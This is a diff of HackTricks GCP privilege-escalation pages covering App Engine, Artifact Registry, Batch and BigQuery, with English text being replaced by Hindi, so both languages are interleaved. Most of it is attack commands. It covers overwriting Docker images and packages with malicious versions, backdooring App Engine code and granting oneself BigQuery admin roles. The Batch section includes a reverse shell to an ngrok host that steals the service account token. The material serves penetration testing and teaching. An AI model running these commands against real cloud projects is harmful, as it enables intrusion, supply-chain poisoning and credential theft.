You can find python code examples in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
By default, the name of the App service is going to be **`default`**, and there can be only 1 instance with the same name.\
|
||||
To change it and create a second App, in **`app.yaml`**, change the value of the root key to something like **`service: my-second-app`**
|
||||
आप [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) पर पायथन कोड के उदाहरण पा सकते हैं।
|
||||
|
||||
डिफ़ॉल्ट रूप से, App सेवा का नाम **`default`** होगा, और एक ही नाम के साथ केवल 1 उदाहरण हो सकता है।\
|
||||
इसे बदलने और एक दूसरा App बनाने के लिए, **`app.yaml`** में, रूट कुंजी के मान को कुछ इस तरह बदलें **`service: my-second-app`**
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
|
||||
Give it at least 10-15min, if it doesn't work call **deploy another of times** and wait some minutes.
|
||||
कम से कम 10-15 मिनट दें, अगर यह काम नहीं करता है तो **deploy another of times** कॉल करें और कुछ मिनट प्रतीक्षा करें।
|
||||
|
||||
> [!NOTE]
|
||||
> It's **possible to indicate the Service Account to use** but by default, the App Engine default SA is used.
|
||||
> यह **सेवा खाता निर्दिष्ट करना संभव है** लेकिन डिफ़ॉल्ट रूप से, App Engine डिफ़ॉल्ट SA का उपयोग किया जाता है।
|
||||
|
||||
The URL of the application is something like `https://<proj-name>.oa.r.appspot.com/` or `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
ऐप्लिकेशन का URL कुछ इस तरह है `https://<proj-name>.oa.r.appspot.com/` या `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### Update equivalent permissions
|
||||
|
||||
You might have enough permissions to update an AppEngine but not to create a new one. In that case this is how you could update the current App Engine:
|
||||
### समकक्ष अनुमतियों को अपडेट करें
|
||||
|
||||
आपके पास एक AppEngine को अपडेट करने के लिए पर्याप्त अनुमतियाँ हो सकती हैं लेकिन एक नया बनाने के लिए नहीं। इस मामले में, आप वर्तमान App Engine को अपडेट करने के लिए इस तरह कर सकते हैं:
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
@@ -56,7 +53,7 @@ runtime: python312
|
||||
entrypoint: gunicorn -b :\$PORT main:app
|
||||
|
||||
env_variables:
|
||||
A_VARIABLE: "value"
|
||||
A_VARIABLE: "value"
|
||||
EOF
|
||||
|
||||
# Deploy the changes
|
||||
@@ -65,52 +62,41 @@ gcloud app deploy
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
|
||||
If you have **already compromised a AppEngine** and you have the permission **`appengine.applications.update`** and **actAs** over the service account to use you could modify the service account used by AppEngine with:
|
||||
|
||||
यदि आपने **पहले ही एक AppEngine को समझौता कर लिया है** और आपके पास अनुमति **`appengine.applications.update`** और **actAs** है सेवा खाते का उपयोग करने के लिए, तो आप AppEngine द्वारा उपयोग किए जाने वाले सेवा खाते को निम्नलिखित के साथ संशोधित कर सकते हैं:
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
With these permissions, it's possible to **login via ssh in App Engine instances** of type **flexible** (not standard). Some of the **`list`** and **`get`** permissions **could not be really needed**.
|
||||
|
||||
इन अनुमतियों के साथ, **App Engine के फ्लेक्सिबल प्रकार के उदाहरणों में ssh के माध्यम से लॉगिन करना संभव है** (मानक नहीं)। कुछ **`list`** और **`get`** अनुमतियाँ **वास्तव में आवश्यक नहीं हो सकती हैं**।
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
I think this just change the background SA google will use to setup the applications, so I don't think you can abuse this to steal the service account.
|
||||
|
||||
मुझे लगता है कि यह केवल बैकग्राउंड SA को बदलता है जिसे गूगल एप्लिकेशनों को सेटअप करने के लिए उपयोग करेगा, इसलिए मुझे नहीं लगता कि आप इसका दुरुपयोग करके सेवा खाते को चुरा सकते हैं।
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
Not sure how to use these permissions or if they are useful (note that when you change the code a new version is created so I don't know if you can just update the code or the IAM role of one, but I guess you should be able to, maybe changing the code inside the bucket??).
|
||||
इन अनुमतियों का उपयोग कैसे करें या क्या ये उपयोगी हैं, इस पर मुझे यकीन नहीं है (ध्यान दें कि जब आप कोड बदलते हैं तो एक नया संस्करण बनाया जाता है, इसलिए मुझे नहीं पता कि क्या आप केवल कोड या एक का IAM भूमिका अपडेट कर सकते हैं, लेकिन मुझे लगता है कि आप ऐसा कर सकते हैं, शायद बकेट के अंदर कोड बदलकर??)।
|
||||
|
||||
### Write Access over the buckets
|
||||
### बकेट पर लिखने की अनुमति
|
||||
|
||||
As mentioned the appengine versions generate some data inside a bucket with the format name: `staging.<project-id>.appspot.com`. Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name `appspot.com`.
|
||||
जैसा कि उल्लेख किया गया है, appengine संस्करण बकेट के अंदर कुछ डेटा उत्पन्न करते हैं जिसका प्रारूप नाम है: `staging.<project-id>.appspot.com`। ध्यान दें कि इस बकेट को पूर्व-टेकओवर करना संभव नहीं है क्योंकि GCP उपयोगकर्ताओं को `appspot.com` डोमेन नाम का उपयोग करके बकेट बनाने के लिए अधिकृत नहीं किया गया है।
|
||||
|
||||
However, with read & write access over this bucket, it's possible to escalate privileges to the SA attached to the AppEngine version by monitoring the bucket and any time a change is performed, modify as fast as possible the code. This way, the container that gets created from this code will **execute the backdoored code**.
|
||||
हालांकि, इस बकेट पर पढ़ने और लिखने की अनुमति के साथ, यह संभव है कि AppEngine संस्करण से जुड़े SA के लिए विशेषाधिकार बढ़ाने के लिए बकेट की निगरानी की जाए और जब भी कोई परिवर्तन किया जाए, कोड को जितनी जल्दी हो सके संशोधित किया जाए। इस तरह, इस कोड से बनाए गए कंटेनर में **बैकडोर कोड निष्पादित होगा**।
|
||||
|
||||
For more information and a **PoC check the relevant information from this page**:
|
||||
अधिक जानकारी के लिए और एक **PoC के लिए इस पृष्ठ से संबंधित जानकारी देखें**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Write Access over the Artifact Registry
|
||||
### आर्टिफैक्ट रजिस्ट्री पर लिखने की अनुमति
|
||||
|
||||
Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
|
||||
It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
|
||||
हालांकि App Engine आर्टिफैक्ट रजिस्ट्री के अंदर डॉकर इमेज बनाता है। यह परीक्षण किया गया था कि **भले ही आप इस सेवा के अंदर इमेज को संशोधित करें** और App Engine उदाहरण को हटा दें (ताकि एक नया तैनात किया जाए) तो **निष्पादित कोड नहीं बदलता**।\
|
||||
यह संभव हो सकता है कि **बकेट के साथ रेस कंडीशन हमले को करने पर निष्पादित कोड को ओवरराइट करना संभव हो**, लेकिन इसका परीक्षण नहीं किया गया था।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+60
-78
@@ -4,7 +4,7 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
For more information about Artifact Registry check:
|
||||
Artifact Registry के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information about Artifact Registry check:
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
With this permission an attacker could upload new versions of the artifacts with malicious code like Docker images:
|
||||
|
||||
इस अनुमति के साथ एक हमलावर नए संस्करणों को अपलोड कर सकता है जिनमें दुर्भावनापूर्ण कोड जैसे Docker छवियाँ शामिल हैं:
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -24,89 +23,84 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
|
||||
# Upload it
|
||||
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> It was checked that it's **possible to upload a new malicious docker** image with the same name and tag as the one already present, so the **old one will lose the tag** and next time that image with that tag is **downloaded the malicious one** will be downloaded.
|
||||
> यह जांचा गया कि **एक नया दुर्भावनापूर्ण डॉकर** इमेज उसी नाम और टैग के साथ अपलोड करना **संभव है** जो पहले से मौजूद है, इसलिए **पुराना टैग खो देगा** और अगली बार जब उस टैग के साथ इमेज **डाउनलोड की जाएगी तो दुर्भावनापूर्ण इमेज** डाउनलोड होगी।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Upload a Python library</summary>
|
||||
<summary>एक Python लाइब्रेरी अपलोड करें</summary>
|
||||
|
||||
**Start by creating the library to upload** (if you can download the latest version from the registry you can avoid this step):
|
||||
**अपलोड करने के लिए लाइब्रेरी बनाना शुरू करें** (यदि आप रजिस्ट्री से नवीनतम संस्करण डाउनलोड कर सकते हैं तो आप इस चरण को छोड़ सकते हैं):
|
||||
|
||||
1. **Set up your project structure**:
|
||||
1. **अपने प्रोजेक्ट संरचना को सेट करें**:
|
||||
|
||||
- Create a new directory for your library, e.g., `hello_world_library`.
|
||||
- Inside this directory, create another directory with your package name, e.g., `hello_world`.
|
||||
- Inside your package directory, create an `__init__.py` file. This file can be empty or can contain initializations for your package.
|
||||
- अपनी लाइब्रेरी के लिए एक नया निर्देशिका बनाएं, जैसे, `hello_world_library`।
|
||||
- इस निर्देशिका के अंदर, अपने पैकेज नाम के साथ एक और निर्देशिका बनाएं, जैसे, `hello_world`।
|
||||
- अपने पैकेज निर्देशिका के अंदर, एक `__init__.py` फ़ाइल बनाएं। यह फ़ाइल खाली हो सकती है या आपके पैकेज के लिए प्रारंभिककरण कर सकती है।
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
cd hello_world_library
|
||||
mkdir hello_world
|
||||
touch hello_world/__init__.py
|
||||
```
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
cd hello_world_library
|
||||
mkdir hello_world
|
||||
touch hello_world/__init__.py
|
||||
```
|
||||
|
||||
2. **Write your library code**:
|
||||
2. **अपनी लाइब्रेरी कोड लिखें**:
|
||||
|
||||
- Inside the `hello_world` directory, create a new Python file for your module, e.g., `greet.py`.
|
||||
- Write your "Hello, World!" function:
|
||||
- `hello_world` निर्देशिका के अंदर, अपने मॉड्यूल के लिए एक नया Python फ़ाइल बनाएं, जैसे, `greet.py`।
|
||||
- अपनी "Hello, World!" फ़ंक्शन लिखें:
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
def say_hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
def say_hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
|
||||
3. **Create a `setup.py` file**:
|
||||
3. **एक `setup.py` फ़ाइल बनाएं**:
|
||||
|
||||
- In the root of your `hello_world_library` directory, create a `setup.py` file.
|
||||
- This file contains metadata about your library and tells Python how to install it.
|
||||
- अपनी `hello_world_library` निर्देशिका की जड़ में, एक `setup.py` फ़ाइल बनाएं।
|
||||
- यह फ़ाइल आपकी लाइब्रेरी के बारे में मेटाडेटा रखती है और Python को बताती है कि इसे कैसे स्थापित किया जाए।
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
from setuptools import setup, find_packages
|
||||
```python
|
||||
# setup.py
|
||||
from setuptools import setup, find_packages
|
||||
|
||||
setup(
|
||||
name='hello_world',
|
||||
version='0.1',
|
||||
packages=find_packages(),
|
||||
install_requires=[
|
||||
# Any dependencies your library needs
|
||||
],
|
||||
)
|
||||
```
|
||||
setup(
|
||||
name='hello_world',
|
||||
version='0.1',
|
||||
packages=find_packages(),
|
||||
install_requires=[
|
||||
# आपकी लाइब्रेरी को जिन निर्भरताओं की आवश्यकता है
|
||||
],
|
||||
)
|
||||
```
|
||||
|
||||
**Now, lets upload the library:**
|
||||
**अब, लाइब्रेरी अपलोड करें:**
|
||||
|
||||
1. **Build your package**:
|
||||
1. **अपने पैकेज का निर्माण करें**:
|
||||
|
||||
- From the root of your `hello_world_library` directory, run:
|
||||
- अपनी `hello_world_library` निर्देशिका की जड़ से, चलाएँ:
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
```
|
||||
|
||||
2. **Configure authentication for twine** (used to upload your package):
|
||||
- Ensure you have `twine` installed (`pip install twine`).
|
||||
- Use `gcloud` to configure credentials:
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
```
|
||||
|
||||
2. **ट्वाइन के लिए प्रमाणीकरण कॉन्फ़िगर करें** (जो आपके पैकेज को अपलोड करने के लिए उपयोग किया जाता है):
|
||||
- सुनिश्चित करें कि आपके पास `twine` स्थापित है (`pip install twine`)।
|
||||
- क्रेडेंशियल्स कॉन्फ़िगर करने के लिए `gcloud` का उपयोग करें:
|
||||
````
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
````
|
||||
|
||||
3. **Clean the build**
|
||||
|
||||
3. **बिल्ड को साफ करें**
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> It's not possible to upload a python library with the same version as the one already present, but it's possible to upload **greater versions** (or add an extra **`.0` at the end** of the version if that works -not in python though-), or to **delete the last version an upload a new one with** (needed `artifactregistry.versions.delete)`**:**
|
||||
> यह संभव नहीं है कि आप उसी संस्करण के साथ एक पायथन लाइब्रेरी अपलोड करें जो पहले से मौजूद है, लेकिन आप **बड़े संस्करण** अपलोड कर सकते हैं (या यदि यह काम करता है तो संस्करण के अंत में एक अतिरिक्त **`.0` जोड़ सकते हैं -हालांकि पायथन में नहीं-), या **अंतिम संस्करण को हटा सकते हैं और एक नया अपलोड कर सकते हैं** (आवश्यक `artifactregistry.versions.delete)`**:**
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
@@ -114,10 +108,9 @@ rm -rf dist build hello_world.egg-info
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
With this permission you can **download artifacts** and search for **sensitive information** and **vulnerabilities**.
|
||||
|
||||
Download a **Docker** image:
|
||||
इस अनुमति के साथ आप **कलाकृतियों** को **डाउनलोड** कर सकते हैं और **संवेदनशील जानकारी** और **कमजोरियों** के लिए खोज कर सकते हैं।
|
||||
|
||||
एक **Docker** छवि डाउनलोड करें:
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -125,14 +118,11 @@ gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
# Dowload image
|
||||
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
|
||||
Download a **python** library:
|
||||
|
||||
डाउनलोड करें एक **python** लाइब्रेरी:
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
|
||||
- What happens if a remote and a standard registries are mixed in a virtual one and a package exists in both? Check this page:
|
||||
- यदि एक दूरस्थ और एक मानक रजिस्ट्री को एक आभासी में मिलाया जाता है और एक पैकेज दोनों में मौजूद है, तो क्या होता है? इस पृष्ठ की जांच करें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -140,38 +130,30 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
Delete artifacts from the registry, like docker images:
|
||||
|
||||
रजिस्ट्री से कलाकृतियों को हटाएं, जैसे कि डॉकर छवियाँ:
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
Detele a full repository (even if it has content):
|
||||
|
||||
पूर्ण रिपॉजिटरी को हटाएं (भले ही इसमें सामग्री हो):
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
An attacker with this permission could give himself permissions to perform some of the previously mentioned repository attacks.
|
||||
इस अनुमति के साथ एक हमलावर खुद को कुछ पहले उल्लेखित रिपॉजिटरी हमलों को करने की अनुमति दे सकता है।
|
||||
|
||||
### Pivoting to other Services through Artifact Registry Read & Write
|
||||
### Artifact Registry पढ़ने और लिखने के माध्यम से अन्य सेवाओं में पिवटिंग
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the cloud function continue working. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **just modifying the stored image isn't possible to compromise the Cloud Function**.
|
||||
जब एक Cloud Function बनाई जाती है, तो प्रोजेक्ट के Artifact Registry में एक नया डॉकर इमेज पुश किया जाता है। मैंने इमेज को एक नए के साथ संशोधित करने की कोशिश की, और यहां तक कि वर्तमान इमेज (और `cache` इमेज) को भी हटाने की कोशिश की, लेकिन कुछ भी नहीं बदला, क्लाउड फ़ंक्शन काम करता रहा। इसलिए, शायद यह **Race Condition हमले का दुरुपयोग करना संभव हो सकता है** जैसे कि बाल्टी के साथ डॉकर कंटेनर को बदलने के लिए, लेकिन **सिर्फ संग्रहीत इमेज को संशोधित करना क्लाउड फ़ंक्शन को समझौता करने के लिए संभव नहीं है**।
|
||||
|
||||
- **App Engine**
|
||||
|
||||
Even though App Engine creates docker images inside Artifact Registry. It was tested that **even if you modify the image inside this service** and removes the App Engine instance (so a new one is deployed) the **code executed doesn't change**.\
|
||||
It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, but this wasn't tested.
|
||||
हालांकि App Engine Artifact Registry के अंदर डॉकर इमेज बनाता है। यह परीक्षण किया गया कि **यहां तक कि यदि आप इस सेवा के अंदर इमेज को संशोधित करते हैं** और App Engine इंस्टेंस को हटाते हैं (ताकि एक नया तैनात किया जा सके) तो **कार्यक्रमित कोड नहीं बदलता**।\
|
||||
यह संभव हो सकता है कि **बाल्टियों के साथ Race Condition हमले को करते हुए कार्यान्वित कोड को ओवरराइट करना संभव हो सकता है**, लेकिन इसका परीक्षण नहीं किया गया।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Batch
|
||||
|
||||
Basic information:
|
||||
बुनियादी जानकारी:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-batch-enum.md
|
||||
@@ -12,51 +12,45 @@ Basic information:
|
||||
|
||||
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
It's possible to create a batch job, get a reverse shell and exfiltrate the metadata token of the SA (compute SA by default).
|
||||
|
||||
एक बैच नौकरी बनाना, एक रिवर्स शेल प्राप्त करना और SA (डिफ़ॉल्ट रूप से कंप्यूट SA) के मेटाडेटा टोकन को एक्सफिल्ट्रेट करना संभव है।
|
||||
```bash
|
||||
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
{
|
||||
"name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub",
|
||||
"taskGroups": [
|
||||
{
|
||||
"taskCount": "1",
|
||||
"parallelism": "1",
|
||||
"taskSpec": {
|
||||
"computeResource": {
|
||||
"cpuMilli": "1000",
|
||||
"memoryMib": "512"
|
||||
},
|
||||
"runnables": [
|
||||
{
|
||||
"script": {
|
||||
"text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n"
|
||||
}
|
||||
}
|
||||
],
|
||||
"volumes": []
|
||||
}
|
||||
}
|
||||
],
|
||||
"allocationPolicy": {
|
||||
"instances": [
|
||||
{
|
||||
"policy": {
|
||||
"provisioningModel": "STANDARD",
|
||||
"machineType": "e2-micro"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
"logsPolicy": {
|
||||
"destination": "CLOUD_LOGGING"
|
||||
}
|
||||
"name": "projects/gcp-labs-35jfenjy/locations/us-central1/jobs/job-lxo3b2ub",
|
||||
"taskGroups": [
|
||||
{
|
||||
"taskCount": "1",
|
||||
"parallelism": "1",
|
||||
"taskSpec": {
|
||||
"computeResource": {
|
||||
"cpuMilli": "1000",
|
||||
"memoryMib": "512"
|
||||
},
|
||||
"runnables": [
|
||||
{
|
||||
"script": {
|
||||
"text": "/bin/bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/10396 0>&1'\n"
|
||||
}
|
||||
}
|
||||
],
|
||||
"volumes": []
|
||||
}
|
||||
}
|
||||
],
|
||||
"allocationPolicy": {
|
||||
"instances": [
|
||||
{
|
||||
"policy": {
|
||||
"provisioningModel": "STANDARD",
|
||||
"machineType": "e2-micro"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
"logsPolicy": {
|
||||
"destination": "CLOUD_LOGGING"
|
||||
}
|
||||
}
|
||||
EOD
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+24
-46
@@ -4,7 +4,7 @@
|
||||
|
||||
## BigQuery
|
||||
|
||||
For more information about BigQuery check:
|
||||
BigQuery के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
@@ -12,26 +12,21 @@ For more information about BigQuery check:
|
||||
|
||||
### Read Table
|
||||
|
||||
Reading the information stored inside the a BigQuery table it might be possible to find s**ensitive information**. To access the info the permission needed is **`bigquery.tables.get`** , **`bigquery.jobs.create`** and **`bigquery.tables.getData`**:
|
||||
|
||||
BigQuery तालिका के अंदर संग्रहीत जानकारी को पढ़ने से **संवेदनशील जानकारी** मिलना संभव हो सकता है। जानकारी तक पहुँचने के लिए आवश्यक अनुमति **`bigquery.tables.get`**, **`bigquery.jobs.create`** और **`bigquery.tables.getData`** है:
|
||||
```bash
|
||||
bq head <dataset>.<table>
|
||||
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
|
||||
```
|
||||
### डेटा निर्यात करें
|
||||
|
||||
### Export data
|
||||
|
||||
This is another way to access the data. **Export it to a cloud storage bucket** and the **download the files** with the information.\
|
||||
To perform this action the following permissions are needed: **`bigquery.tables.export`**, **`bigquery.jobs.create`** and **`storage.objects.create`**.
|
||||
|
||||
यह डेटा तक पहुँचने का एक और तरीका है। **इसे एक क्लाउड स्टोरेज बकेट में निर्यात करें** और **जानकारी के साथ फ़ाइलें डाउनलोड करें।**\
|
||||
इस क्रिया को करने के लिए निम्नलिखित अनुमतियों की आवश्यकता है: **`bigquery.tables.export`**, **`bigquery.jobs.create`** और **`storage.objects.create`**।
|
||||
```bash
|
||||
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
|
||||
```
|
||||
|
||||
### Insert data
|
||||
|
||||
It might be possible to **introduce certain trusted data** in a Bigquery table to abuse a **vulnerability in some other place.** This can be easily done with the permissions **`bigquery.tables.get`** , **`bigquery.tables.updateData`** and **`bigquery.jobs.create`**:
|
||||
|
||||
यह संभव है कि **कुछ विश्वसनीय डेटा** को Bigquery तालिका में **किसी अन्य स्थान में एक कमजोरियों का दुरुपयोग करने के लिए** पेश किया जाए। यह अनुमतियों **`bigquery.tables.get`**, **`bigquery.tables.updateData`** और **`bigquery.jobs.create`** के साथ आसानी से किया जा सकता है:
|
||||
```bash
|
||||
# Via query
|
||||
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
|
||||
@@ -39,25 +34,21 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
|
||||
# Via insert param
|
||||
bq insert dataset.table /tmp/mydata.json
|
||||
```
|
||||
|
||||
### `bigquery.datasets.setIamPolicy`
|
||||
|
||||
An attacker could abuse this privilege to **give himself further permissions** over a BigQuery dataset:
|
||||
|
||||
एक हमलावर इस विशेषाधिकार का दुरुपयोग करके **अपने लिए और अधिक अनुमतियाँ** एक BigQuery डेटासेट पर दे सकता है:
|
||||
```bash
|
||||
# For this you also need bigquery.tables.getIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
--member='user:<email>' \
|
||||
--role='roles/bigquery.admin' \
|
||||
<proj>:<dataset>
|
||||
--member='user:<email>' \
|
||||
--role='roles/bigquery.admin' \
|
||||
<proj>:<dataset>
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
|
||||
```
|
||||
|
||||
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
|
||||
|
||||
Just this permission allows to **update your access over a BigQuery dataset by modifying the ACLs** that indicate who can access it:
|
||||
|
||||
बस यह अनुमति **आपकी पहुँच को एक BigQuery डेटासेट पर अपडेट करने की अनुमति देती है, ACLs को संशोधित करके** जो यह दर्शाती हैं कि कौन इसे एक्सेस कर सकता है:
|
||||
```bash
|
||||
# Download current permissions, reqires bigquery.datasets.get
|
||||
bq show --format=prettyjson <proj>:<dataset> > acl.json
|
||||
@@ -66,42 +57,34 @@ bq update --source acl.json <proj>:<dataset>
|
||||
## Read it with
|
||||
bq head $PROJECT_ID:<dataset>.<table>
|
||||
```
|
||||
|
||||
### `bigquery.tables.setIamPolicy`
|
||||
|
||||
An attacker could abuse this privilege to **give himself further permissions** over a BigQuery table:
|
||||
|
||||
एक हमलावर इस विशेषाधिकार का दुरुपयोग करके **अपने लिए और अधिक अनुमतियाँ** एक BigQuery तालिका पर दे सकता है:
|
||||
```bash
|
||||
# For this you also need bigquery.tables.setIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
--member='user:<email>' \
|
||||
--role='roles/bigquery.admin' \
|
||||
<proj>:<dataset>.<table>
|
||||
--member='user:<email>' \
|
||||
--role='roles/bigquery.admin' \
|
||||
<proj>:<dataset>.<table>
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
|
||||
```
|
||||
|
||||
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
|
||||
|
||||
According to the docs, with the mention permissions it's possible to **update a row policy.**\
|
||||
However, **using the cli `bq`** you need some more: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
|
||||
दस्तावेज़ों के अनुसार, उल्लेखित अनुमतियों के साथ **एक पंक्ति नीति को अपडेट करना संभव है।**\
|
||||
हालांकि, **cli `bq` का उपयोग करते समय** आपको कुछ और चाहिए: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
```bash
|
||||
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
|
||||
```
|
||||
|
||||
It's possible to find the filter ID in the output of the row policies enumeration. Example:
|
||||
|
||||
यह संभव है कि पंक्ति नीतियों की गणना के आउटपुट में फ़िल्टर आईडी को पाया जा सके। उदाहरण:
|
||||
```bash
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table>
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table>
|
||||
|
||||
Id Filter Predicate Grantees Creation Time Last Modified Time
|
||||
------------- ------------------ ----------------------------- ----------------- --------------------
|
||||
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
|
||||
Id Filter Predicate Grantees Creation Time Last Modified Time
|
||||
------------- ------------------ ----------------------------- ----------------- --------------------
|
||||
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
